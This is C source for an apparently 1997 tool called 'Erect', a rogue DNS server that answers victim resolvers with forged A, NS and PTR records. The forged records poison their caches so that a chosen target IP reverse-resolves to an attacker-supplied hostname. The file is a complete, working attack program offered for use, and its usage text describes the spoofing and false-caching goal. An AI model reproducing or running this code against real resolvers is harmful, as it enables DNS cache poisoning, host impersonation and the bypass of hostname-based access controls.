home *** CD-ROM | disk | FTP | other *** search
- /* #dioxide 1997 */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdarg.h>
- #include <strings.h>
- #include <errno.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
-
- #define VERSION "Erect by Dioxide '97"
-
- #define MAXBUFSIZE 64*1024
- #define DC_A 1
- #define DC_NS 2
- #define DC_CNAME 5
- #define DC_SOA 6
- #define DC_WKS 11
- #define DC_PTR 12
- #define DC_HINFO 13
- #define DC_MINFO 14
- #define DC_MX 15
- #define DC_TXT 16
-
- typedef struct {
- unsigned short id;
-
- unsigned char rd:1; /* recursion desired */
- unsigned char tc:1; /* truncated message */
- unsigned char aa:1; /* authoritive answer */
- unsigned char opcode:4; /* purpose of message */
- unsigned char qr:1; /* response flag */
-
- unsigned char rcode:4; /* response code */
- unsigned char unused:2; /* unused bits */
- unsigned char pr:1; /* primary server required (non standard) */
- unsigned char ra:1; /* recursion available */
-
- unsigned short qdcount;
- unsigned short ancount;
- unsigned short nscount;
- unsigned short arcount;
- } dnsheaderrec;
-
- typedef struct {
- unsigned short labellen;
- char label[256];
- unsigned short type;
- unsigned short class;
- unsigned long ttl;
- unsigned short buflen;
- char buf[256];
- } dnsrrrec;
-
- typedef struct {
- dnsheaderrec h;
-
- dnsrrrec qd[20];
- dnsrrrec an[20];
- dnsrrrec ns[20];
- dnsrrrec ar[20];
- } dnsrec;
-
- char *dnssprintflabel(char *s, char *buf, char *p);
- char *dnsaddlabel(char *p, char *label);
- void dnstxt2rr(dnsrrrec *rr, char *b);
- void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
- char *dnsaddbuf(char *p, void *buf, short len);
- int dnsmakerawpacket(dnsrec *dns, char *buf);
- char *ip_to_arpa(char *ip);
- char *arparize(char *ip);
- char *get_token(char **src, char *token_sep);
-
- char *dnssprintflabel(char *s, char *buf, char *p)
- {
- unsigned short i,len;
- char *b=NULL;
-
- len=(unsigned short)*(p++);
- while (len) {
- while (len >= 0xC0) {
- if (!b)
- b=p+1;
- p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
- len=(unsigned short)*(p++);
- }
-
- for (i=0;i<len;i++)
- *(s++)=*(p++);
-
- *(s++)='.';
-
- len=(unsigned short)*(p++);
- }
-
- *(s++)=0;
- if (b)
- return(b);
-
- return(p);
- }
-
- char *dnsaddlabel(char *p, char *label)
- {
- char *p1;
-
- while ((*label) && (label)) {
- if ((*label == '.') && (!*(label+1)))
- break;
-
- p1=strchr(label,'.');
-
- if (!p1)
- p1=strchr(label,0);
-
- *(p++)=p1-label;
- memcpy(p,label,p1-label);
- p+=p1-label;
-
- label=p1;
- if (*p1)
- label++;
- }
- *(p++)=0;
-
- return(p);
- }
-
- #define DEFAULTTTL 60*10
-
- void dnstxt2rr(dnsrrrec *rr, char *b)
- {
- char *tok[20], *p;
- unsigned short numt=0, i;
- static char *buf=NULL;
-
- if (!buf) {
- if ((buf=malloc(1024)) == NULL) {
- perror("malloc");
- exit(-1);
- }
- }
-
- strcpy(buf,b);
- p=strtok(buf," \t");
- do {
- tok[numt++]=p;
- } while (p=strtok(NULL," \t"));
-
- p=dnsaddlabel(rr->label,tok[0]);
- rr->labellen=p-rr->label;
-
- i=1;
-
- if (isdigit(*p))
- rr->ttl=htonl(atol(tok[i++]));
- else
- rr->ttl=htonl(DEFAULTTTL);
-
- if (strcmp(tok[i],"IN") == 0)
- i++;
-
- rr->class=htons(1);
-
- if (strcmp(tok[i],"A") == 0) {
- i++;
- rr->type=htons(DC_A);
- if (i < numt) {
- inet_aton(tok[i],rr->buf);
- rr->buflen=4;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"CNAME") == 0) {
- i++;
- rr->type=htons(DC_CNAME);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"NS") == 0) {
- i++;
- rr->type=htons(DC_NS);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"PTR") == 0) {
- i++;
- rr->type=htons(DC_PTR);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"MX") == 0) {
- i++;
- rr->type=htons(DC_MX);
- if (i < numt) {
- p=rr->buf;
- *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
- p=dnsaddlabel(p,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
- }
-
- void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
- {
- int i;
- va_list va;
-
- dns->h.qdcount=htons(qdcount);
- dns->h.ancount=htons(ancount);
- dns->h.nscount=htons(nscount);
- dns->h.arcount=htons(arcount);
- dns->h.rcode=0;
-
- va_start(va, arcount);
-
- for (i=0;i<qdcount;i++)
- dnstxt2rr(&dns->qd[i],va_arg(va, char *));
-
- for (i=0;i<ancount;i++)
- dnstxt2rr(&dns->an[i],va_arg(va, char *));
-
- for (i=0;i<nscount;i++)
- dnstxt2rr(&dns->ns[i],va_arg(va, char *));
-
- for (i=0;i<arcount;i++)
- dnstxt2rr(&dns->ar[i],va_arg(va, char *));
-
-
- va_end(va);
- }
-
- char *dnsaddbuf(char *p, void *buf, short len)
- {
- memcpy(p,buf,len);
- return(p+len);
- }
-
- int dnsmakerawpacket(dnsrec *dns, char *buf)
- {
- char *p;
- int i;
- unsigned short len;
-
- memcpy(buf,&dns->h,sizeof(dnsheaderrec));
-
- p=buf+sizeof(dnsheaderrec);
-
- /********** Query ***********/
- for (i=0;i<ntohs(dns->h.qdcount);i++) {
- p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
- p=dnsaddbuf(p,&dns->qd[i].type,2);
- p=dnsaddbuf(p,&dns->qd[i].class,2);
- }
-
- /********** Answer ***********/
- for (i=0;i<ntohs(dns->h.ancount);i++) {
- p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
- p=dnsaddbuf(p,&dns->an[i].type,2);
- p=dnsaddbuf(p,&dns->an[i].class,2);
- p=dnsaddbuf(p,&dns->an[i].ttl,4);
- len=htons(dns->an[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
- }
-
- /********** Nameservers ************/
- for (i=0;i<ntohs(dns->h.nscount);i++) {
- p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
- p=dnsaddbuf(p,&dns->ns[i].type,2);
- p=dnsaddbuf(p,&dns->ns[i].class,2);
- p=dnsaddbuf(p,&dns->ns[i].ttl,4);
- len=htons(dns->ns[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
- }
-
- /********** Additional ************/
- for (i=0;i<ntohs(dns->h.arcount);i++) {
- p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
- p=dnsaddbuf(p,&dns->ar[i].type,2);
- p=dnsaddbuf(p,&dns->ar[i].class,2);
- p=dnsaddbuf(p,&dns->ar[i].ttl,4);
- len=htons(dns->ar[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
- }
-
- return(p-buf);
- }
-
-
- char *get_token(src, token_sep)
- char **src;
- char *token_sep;
- {
- char *tok;
- if (!(src && *src && **src))
- return NULL;
- while(**src && strchr(token_sep, **src))
- (*src)++;
- if(**src)
- tok = *src;
- else
- return NULL;
- *src = strpbrk(*src, token_sep);
- if (*src)
- {
- **src = '\0';
- (*src)++;
- while(**src && strchr(token_sep, **src))
- (*src)++;
- }
- else
- *src = "";
- return tok;
- }
-
- char *ip_to_arpa(char *ip)
- {
- char *arpablock, *bit_a, *bit_b, *bit_c;
- char *oomf;
-
- arpablock = NULL;
- arpablock = (char *)malloc(64);
- oomf = (char *)malloc(64);
-
- strcpy(oomf, ip);
-
- bit_a = get_token(&oomf, ".");
- bit_b = get_token(&oomf, ".");
- bit_c = get_token(&oomf, ".");
-
- sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
-
- return arpablock;
-
- }
- char *arparize(char *ip)
- {
- char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
- char *oomf;
-
- arpa = NULL;
- arpa = (char *)malloc(64);
- oomf = (char *)malloc(64);
-
- strcpy(oomf, ip);
-
- bit_a = get_token(&oomf, ".");
- bit_b = get_token(&oomf, ".");
- bit_c = get_token(&oomf, ".");
- bit_d = oomf;
-
- sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
-
- return arpa;
-
- }
-
-
- void main(int argc, char *argv[])
- {
- int sock, fromlen, numread, len, query;
- struct sockaddr_in sa, from, to;
- char *buf, *sendbuf;
- char *domainnamebuf;
- dnsheaderrec *dns;
- char *p;
- dnsrec dnsh;
- char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
- char *kludgeaddname, *kludgetargetblock;
- char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
- char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;
-
- if (argc < 6)
- {
- printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
- printf(" lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
- printf(" fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
- printf(" fakensip : EG 205.164.89.1, IP of server to answer fake PTR's\n");
- printf(" targetip : EG 200.3.4.10, IP of machine you want to spoof from\n");
- printf(" spoofname : EG bollox.org, name you want targetip to resolve as\n");
- exit(-1);
- }
- addname = argv[1];
- fakens = argv[2];
- fakensip = argv[3];
- targetip = argv[4];
- spoofname = argv[5];
- targetblock = (char *)malloc(64);
- targetblock = ip_to_arpa(targetip);
- kludgetargetblock = (char *)malloc(64);
- strcpy(kludgetargetblock, targetblock);
- strcat(kludgetargetblock, ".");
- kludgeaddname = (char *)malloc(64);
- strcpy(kludgeaddname, addname);
- strcat(kludgeaddname, ".");
- arpatargetip = (char *)malloc(256);
- arpatargetip = arparize(targetip);
- klarpatargetip = (char *)malloc(64);
- strcpy(klarpatargetip, arpatargetip);
- strcat(klarpatargetip, ".");
-
- cache_line_1 = (char *)malloc(256);
- cache_line_2_1 = (char *)malloc(256);
- cache_line_2_2 = (char *)malloc(256);
- cache_line_3 = (char *)malloc(256);
- cache_line_4 = (char *)malloc(256);
- ptr_line_1 = (char *)malloc(256);
- ptr_line_2 = (char *)malloc(256);
- sprintf(cache_line_1, "%s IN A", addname);
- sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
- sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
- sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
- sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
-
- sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
- sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
-
- printf("%s now running!\n", VERSION);
- printf(" lookupname : %s\n", addname);
- printf(" fakenshost : %s\n", fakens);
- printf(" fakensip : %s\n", fakensip);
- printf(" targetip : %s\n", targetip);
- printf(" spoofname : %s\n\n", spoofname);
- printf(" TARGETARPA : %s\n", arpatargetip);
- printf("Waiting for connect...\n");
-
-
- if ((buf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
- perror("socket");
- exit(-1);
- }
-
- sa.sin_family = AF_INET;
- /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
- sa.sin_addr.s_addr = INADDR_ANY;
- sa.sin_port = htons(53);
-
- if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
- perror("bind");
- exit(-1);
- }
-
- setvbuf(stdout,NULL,_IONBF,0);
-
- while (1) {
- fromlen=sizeof(from);
- if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
- perror("recvfrom");
- continue;
- }
-
- /* Kludge to stop that damn router */
- /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
- continue;*/
-
- dns=(dnsheaderrec *)buf;
-
- if (dns->qr)
- continue;
-
- p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
- query=ntohs(*(unsigned short *)p);
- printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
-
- if (strcasecmp(domainnamebuf,kludgeaddname) == 0) {
- dnsbuildpacket(&dnsh,1,2,1,1,
- cache_line_1,
- cache_line_2_1,
- cache_line_2_2,
- cache_line_3,
- cache_line_4);
-
- } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) {
- dnsbuildpacket(&dnsh,1,1,0,0,
- ptr_line_1,
- ptr_line_2);
- } else {
- /* Error */
- dnsh.h.rcode=5;
- strcat(domainnamebuf," IN A");
- dnsbuildpacket(&dnsh,1,0,0,0,
- domainnamebuf);
- }
- dnsh.qd[0].type=htons(query);
-
- dnsh.h.id=((dnsheaderrec *)buf)->id;
- dnsh.h.qr=1;
- dnsh.h.aa=1;
-
- len=dnsmakerawpacket(&dnsh,sendbuf);
-
- to.sin_family=AF_INET;
- to.sin_addr.s_addr=from.sin_addr.s_addr;
- to.sin_port=from.sin_port;
-
- if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
- perror("sendto");
- continue;
- }
- }
- }
-